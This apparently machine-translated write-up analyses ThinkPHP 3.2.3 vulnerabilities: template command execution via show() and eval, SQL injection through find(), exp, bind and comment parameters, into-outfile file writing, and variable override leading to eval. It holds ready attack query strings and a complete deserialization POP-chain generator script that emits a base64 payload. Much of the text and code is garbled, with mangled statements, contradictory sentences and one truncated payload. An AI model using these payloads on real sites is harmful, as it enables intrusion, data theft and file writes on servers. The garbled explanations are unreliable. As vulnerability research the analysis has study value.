$this->show causes the command to execute

Home\Controller\IndexController passed a controllable parameter to index.

class IndexController extends Controller { public function index($n='') { $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px; } body{ background: #fff; Font-family: 'Microsoft yahei'; color: #333; font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } {p line - height: 1.8 em. font-size: 36px } a,a:hover{color:blue; }</style><div style="padding: 24px 48px;" >< h1>< /h1><p> Welcome to <b>ThinkPHP</b>! </p><br/> version V{$think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script></p>Hello '.$n, 'utf-8'); }}Copy the code

Follow up the display ()

protected function show($content,$charset='',$contentType='',$prefix='') {
    $this->view->display('',$charset,$contentType,$content,$prefix);
}
Copy the code

Follow all the way to fetch() and then all the way to Hook::listen(‘view_parse’, $params);

public function fetch($templateFile='', $content='', $prefix='') { if (empty($content)) { $templateFile = $this->parseTemplate($templateFile); // The template file does not exist. is_file($templateFile)) { E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); } } else { defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath()); } // page cache ob_start(); ob_implicit_flush(0); If (' PHP '== strtolower(C('TMPL_ENGINE_TYPE'))) {$_content = $content; Extract ($this->tVar, EXTR_OVERWRITE); Empty ($_content)? include $templateFile:eval('? >'.$_content); $params = array('var'=> $this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse', $params); $content = ob_get_clean(); Hook::listen('view_filter', $content); Return $content; }Copy the code

The key thing here is that the contents of our index were stored in the cache file PHP file, along with the controlled PHP code that we typed in, and then contained that file, causing the command to execute.

public function load($_filename,$vars=null){ if(! is_null($vars)){ extract($vars, EXTR_OVERWRITE); } include $_filename; }Copy the code

 

SQL injection

/ Application/Home/Controller/IndexController class. Add a SQL query PHP code. http://localhost/tp323/index.php/Home/Index/sql?id=1 query entrance.

public function sql()
{
    $id = I('GET.id');
    $user = M('user');
    $data = $user->find($id);
    var_dump($data);
}
Copy the code

Id =1 and updatexML (1,concat(0x7e,user(),0x7e),1)–+ $options[‘where’][‘id’]=input $options[‘where’][‘id’]=input $options[‘where’][‘id’]=input

if(is_numeric($options) || is_string($options)) {
    $where[ $this->getPk()]  =   $options;
    $options                =   array();
    $options['where']       =   $where;
}
Copy the code

If (is_array($options) && (count($options) > 0) && is_array($pk)

$pk  =  $this->getPk(); // $pk='id'
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
    //
}
Copy the code

$options = $this->_parseOptions($options); .

protected function _parseOptions($options=array()) { if (is_array($options)) { $options = array_merge( $this->options, $options); } if (! $options['table'] = $this->getTableName(); $options['table'] = $this->getTableName(); $fields = $this->fields; } else {$fields = $this->getDbFields(); } // Table alias if (! empty($options['alias'])) { $options['table'] .= ' '.$options['alias']; $options['model'] = $this->name; / / the field type validation if (isset ($options [' where ']) && is_array ($options [' where ']) &&! empty($fields) && ! Foreach ($options['where'] as $key=>$val) {$key= trim($key); if (in_array($key, $fields, true)) { if (is_scalar($val)) { $this->_parseType($options['where'], $key); } } elseif (! is_numeric($key) && '_' ! = substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) { if (! empty( $this->options['strict'])) { E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']'); } unset($options['where'][$key]); $this->options = array(); $this->_options_filter($options); return $options; }Copy the code

Obtain the fields and field types of the queried table.

if (! $options['table'] = $this->getTableName(); $options['table'] = $this->getTableName(); $fields = $this->fields; }Copy the code

$this->_parseType($options[‘where’], $key);

if (isset($options['where']) && is_array($options['where']) && ! empty($fields) && ! Foreach ($options['where'] as $key=>$val) {$key= trim($key); if (in_array($key, $fields, true)) { if (is_scalar($val)) { $this->_parseType($options['where'], $key); } } elseif (! is_numeric($key) && '_' ! = substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) { if (! empty( $this->options['strict'])) { E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']'); } unset($options['where'][$key]); }}}Copy the code

Here the id field is of type int, so go to the second branch, convert our input to decimal, and the malicious statement is filtered out, followed by the normal SQL statement.

protected function _parseType(&$data,$key) { if(! isset( $this->options['bind'][':'.$key]) && isset( $this->fields['_type'][$key])){ $fieldType = strtolower( $this->fields['_type'][$key]); if(false ! == strpos($fieldType,'enum') {// Support enum type priority detection} elseIf (false === strpos($fieldType,'bigint') && false! == strpos($fieldType,'int')) { $data[$key] = intval($data[$key]); }elseif(false ! == strpos($fieldType,'float') || false ! == strpos($fieldType,'double')){ $data[$key] = floatval($data[$key]); }elseif(false ! == strpos($fieldType,'bool')){ $data[$key] = (bool)$data[$key]; }}}Copy the code

If we pass an array id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–+ $options[where]=’1 and updatexml(1,concat(0x7e,user(),0x7e),1)– ‘

if(is_numeric($options) || is_string($options)) {
    $where[ $this->getPk()]  =   $options;
    $options                =   array();
    $options['where']       =   $where;
}
Copy the code

If (isset($options[‘where’]) && is_array($options[‘where’]) &&! empty($fields) && ! $options[‘where’] is_array($options[‘where’]); $options[‘where’]; That is, we don’t filter our input into the _parseType() function.

$resultSet = $this->db->select($options); Where $options is the malicious SQL statement we entered.

Deserialization & SQL injection

/ Application/Home/Controller/IndexController class. PHP to add a piece of code. http://localhost/tp323/index.php/Home/Index/sql?data= query entrance.

public function sql()
{
    unserialize(base64_decode($_POST['data']));
}
Copy the code

Global search function __destruct for a starting point.

In the file: / ThinkPHP/Library/Think/Image/Driver/Imagick class. Found in a PHP Imagick __destruct method of a class.

public function  __destruct() {
    empty( $this->img) || $this->img->destroy();
}
Copy the code

$this->img is controlled, so let’s look for destroy(). There are three, chose ThinkPHP/Library/Think/Session/Driver/Memcache. Class. In PHP Memcache destroy function of a class. PHP uses PHP5 instead of PHP7 because the function destroy() is called with no arguments, and we found a function with arguments. PHP uses PHP7 to call a function that takes arguments, but does not take arguments.

public function destroy($sessID) {
    return $this->handle->delete( $this->sessionName.$sessID);
}
Copy the code

Here handle is controllable, so I’m going to look for the delete function. In ThinkPHP/Mode/Lite/Model class. PHP’s found the right function in the Model class, of course choose/ThinkPHP/Library/Think/Model class. This function can also be in PHP. $this->data ($this->data[$pk]); So this is just the previous part of the code.

public function delete($options=array()) { $pk = $this->getPk(); If ($this->options['where']) {$this->options['where']) {$this->options['where']); empty( $this->data) && isset( $this->data[$pk])) return $this->delete( $this->data[$pk]); else return false; }}Copy the code

$this->data $this->data $this->data $this->data $this->data $this->data $this->data $this->data[$pk]); $this->data[$pk]; $this->pk; $this->pk;

We can now enter the delete function with the parameters as normal and proceed with the destroy() call, which was partially controlled because it was called without parameters. $result = $this->db->delete($options); , calls the delete() method in the ThinkPHP database model class.

$this->execute (); $this->execute ();

public function delete($options=array()) { $this->model = $options['model']; $this->parseBind(! empty($options['bind'])? $options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'DELETE FROM '.$table; If (strpos($table,',')){if(strpos($table,',')){ empty($options['using'])){ $sql .= ' USING '. $this->parseTable($options['using']).' '; } $sql .= $this->parseJoin(! empty($options['join'])? $options['join']:''); } $sql .= $this->parseWhere(! empty($options['where'])? $options['where']:''); if(! $SQL.= $this->parseOrder(! $this->parseOrder(! $this->parseOrder(! empty($options['order'])? $options['order']:'') . $this->parseLimit(! empty($options['limit'])? $options['limit']:''); } $sql .= $this->parseComment(! empty($options['comment'])? $options['comment']:''); return $this->execute($sql,! empty($options['fetch_sql']) ? true : false); }Copy the code

$this->initConnect(true); $this->connect(); $this->config; $this->config;

<? php public function connect($config='',$linkNum=0,$autoConnection=false) { if ( ! isset( $this->linkID[$linkNum]) ) { if(empty($config)) $config = $this->config; try{ if(empty($config['dsn'])) { $config['dsn'] = $this->parseDsn($config); } if(version_compare(PHP_VERSION,'5.3.6','<=')){$this->options[PDO:: attr_emulate_website] = false; } $this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'], $this->options); }catch (\PDOException $e) { if($autoConnection){ trace($e->getMessage(),'','ERR'); return $this->connect($autoConnection,$linkNum); }elseif($config['debug']){ E($e->getMessage()); } } } return $this->linkID[$linkNum]; }Copy the code

So the POP chain comes out:

 <?php

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;

    class Imagick
    {
        private $img;

        public function  __construct()
        {
             $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use  Think\Model;

    class Memcache
    {
        protected $handle;
        public function  __construct()
        {
             $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;

    class Model
    {
        protected $options;
        protected $data;
        protected $pk;
        protected $db;

        public function  __construct()
        {
             $this->db = new Mysql();
             $this->options['where'] = '';
             $this->data['id'] = array(
                "table" => "mysql.user where 1=updatexml(1,user(),1)#",
                "where" => "1=1"
            );
             $this->pk = 'id';
        }
    }
}

namespace Think\Db\Driver{
    use PDO;

    class Mysql
    {
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "test",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
Copy the code

Annotation injection

Trigger annotations into the call for: $user = M (‘ user ‘) – > comment ($id) – > find (intval ($id)); .

To debug, call comment in Think\ model.class.php

@access public * @param string $comment @return Model */ public function comment($comment) { $this->options['comment'] = $comment; return $this; }Copy the code

Then call the find method of Think\Model. Until we call the parseComment function in Think\Db\ driver.class.php, which concatenates our input into a comment so that we can close the comment and insert the SQL statement. SELECT * FROMuserWHEREid= 1 LIMIT 1 /* 1 */

protected function parseComment($comment) { return ! empty($comment)? ' /* '.$comment.' */':''; }Copy the code

If there is no LIMIT 1 here, we can directly inject the union, but there is LIMIT 1 here. The Incorrect usage of union and LIMIT would be prompted if we inject the union. The only way to do this is by wrapping the SQL query before the union in parentheses. We can use the into outfile extension to write the file.

The "OPTION" parameter is optional. Possible values are: 'FIELDS TERMINATED BY' string ': Sets the string to a separator between FIELDS. It can be single or more characters. The default value is "\t". 'FIELDS ENCLOSED BY' characters' : sets a single character to enclose the value of a field. By default, no symbols are used. 'FIELDS OPTIONALLY ENCLOSED BY' characters' : set characters to enclose CHAR, VARCHAR, TEXT and other character FIELDS. By default, no symbols are used. 'FIELDS ESCAPED BY' : set ESCAPED characters. Only a single character can be ESCAPED. The default value is "\". 'LINES STARTING BY' : Sets the STARTING character of each line of data, which can be one or more characters. By default, no characters are used. 'LINES TERMINATED BY' string ': Sets the end of each line of data. It can be single or more characters. The default value is "\n".Copy the code

? id=1*/ into outfile “path/1.php” LINES STARTING BY ‘

 

Exp injection

The query that triggers exp injection is as follows.

public function sql()
{
    $User = D('user');
    var_dump($_GET['id']);
    $map = array('id' => $_GET['id']);
    // $map = array('id' => I('id'));
    $user = $User->where($map)->find();
    var_dump($user);
}
Copy the code

This follows all the way to the parseSql() function, which then calls parseWhere().

public function parseSql($sql,$options=array()){ $sql = str_replace( array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','% COMMENT%','%FORCE%'), array( $this->parseTable($options['table']), $this->parseDistinct(isset($options['distinct'])? $options['distinct']:false), $this->parseField(! empty($options['field'])? $options['field']:'*'), $this->parseJoin(! empty($options['join'])? $options['join']:''), $this->parseWhere(! empty($options['where'])? $options['where']:''), $this->parseGroup(! empty($options['group'])? $options['group']:''), $this->parseHaving(! empty($options['having'])? $options['having']:''), $this->parseOrder(! empty($options['order'])? $options['order']:''), $this->parseLimit(! empty($options['limit'])? $options['limit']:''), $this->parseUnion(! empty($options['union'])? $options['union']:''), $this->parseLock(isset($options['lock'])? $options['lock']:false), $this->parseComment(! empty($options['comment'])? $options['comment']:''), $this->parseForce(! empty($options['force'])? $options['force']:'') ),$sql); return $sql; }Copy the code

ParseWhere () calls parseWhereItem(), intercepting some of the key code, where $val is the argument we passed in, so when we pass in an array, $exp is the first value in the array, and if it equals exp, it will be used. Simply concatenating the second value of the array causes SQL injection.

$exp = strtolower($val[0]); . Elseif (' bind '= = $exp) {/ / using the expression $whereStr. = $key.' = : '. $val [1]. } elseif (' exp '= = $exp) {/ / using the expression $whereStr. = $key.' '. $val [1]. }Copy the code

So when we pass in, right? Id [0]= exp&ID [1]== 1 and updatexML (1,concat(0x7e,user(),0x7e),1) ‘id’ = 1 and updatexML (1,concat(0x7e,user(),0x7e),1) SELECT * FROM ‘user’ WHERE ‘id’ =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1)

We use the global array $_GET instead of the I() function, because at the end of the I() function,

is_array($data) && array_walk_recursive($data,'think_filter');
Copy the code

The think_filter() function is called to filter, and EXP is filtered, followed by a space, so the above process cannot be carried out, and injection cannot be performed.

Function think_filter(&$value){// TODO other security filters // filter query special characters if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; }}Copy the code

 

The bind injection

public function sql()
{
    $User = M("user");
    $user['id'] = I('id');
    $data['password'] = I('password');
    $valu = $User->where($user)->save($data);
    var_dump($valu);
}
Copy the code

payload:? id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

This goes all the way to parseWhereItem() above, and in addition to exp, there’s bind, which also concatenates strings with dots, but with a colon. Id = :0 and updatexml(1,concat(0x7e,user(),0x7e),1).

$exp = strtolower($val[0]); . Elseif (' bind '= = $exp) {/ / using the expression $whereStr. = $key.' = : '. $val [1]. } elseif (' exp '= = $exp) {/ / using the expression $whereStr. = $key.' '. $val [1]. }Copy the code

UPDATE ‘user’ SET ‘password’ =:0 WHERE ‘id’ =:0 and updatexML (1,concat(0x7e,user(),0x7e),1)

The execute() function is then called in update(), executing the following code

if(! empty( $this->bind)){ $that = $this; $this->queryStr = strtr( $this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; }, $this->bind)); }Copy the code

Here we replace :0 with the value of the password we passed in, UPDATE ‘user’ SET ‘password’ =’1′ WHERE ‘id’ =’1′ and concat(0x7e,user(),0x7e),1) So when we pass in id[1] we pass in a 0 to get rid of the colon. Finally, SQL injection succeeds.

Variable override causes command execution

The code that triggers the RCE is as follows.

public function test($name='', $from='ctfshow')
{
    $this->assign($name, $from);
    $this->display('index');
}
Copy the code

Call assign() first.

public function assign($name, $value='') { if (is_array($name)) { $this->tVar = array_merge( $this->tVar, $name); } else { $this->tVar[$name] = $value; }}Copy the code

When we pass in? name=_content&from=
assign () function is: $this – > view – > tVar [” _content “] = ”

The display() function follows, and $content gets the template content.

public function display($templateFile='', $charset='', $contentType='', $content='', $prefix='') { G('viewStartTime'); // View start tag Hook::listen('view_begin', $templateFile); $this->fetch($templateFile, $content, $prefix); $this->render($content, $charset, $contentType); // View end tag Hook::listen('view_end'); }Copy the code

Fetch () is called with an if judgment, which is entered if using PHP native templates. This corresponds to ‘TMPL_ENGINE_TYPE’ => ‘PHP’ in ThinkPHP\Conf\convention.

public function fetch($templateFile='', $content='', $prefix='') { if (empty($content)) { $templateFile = $this->parseTemplate($templateFile); // The template file does not exist. is_file($templateFile)) { E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); } } else { defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath()); } // page cache ob_start(); ob_implicit_flush(0); If (' PHP '== strtolower(C('TMPL_ENGINE_TYPE'))) {$_content = $content; Extract ($this->tVar, EXTR_OVERWRITE); Empty ($_content)? include $templateFile:eval('? >'.$_content); $params = array('var'=> $this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse', $params); $content = ob_get_clean(); Hook::listen('view_filter', $content); Return $content; }Copy the code

$this->tVar ($this->tVar, EXTR_OVERWRITE); $this->view->tVar[“_content”]=”
< span style = “box-sizing: border-box! Important; word-wrap: break-word! Important;”

Then empty($_content)? include $templateFile:eval(‘? >’.$_content); $_content is obviously not empty, so eval(‘? >’.$_content); “, which leads to command execution.

 

[Free Network Security Learning Materials]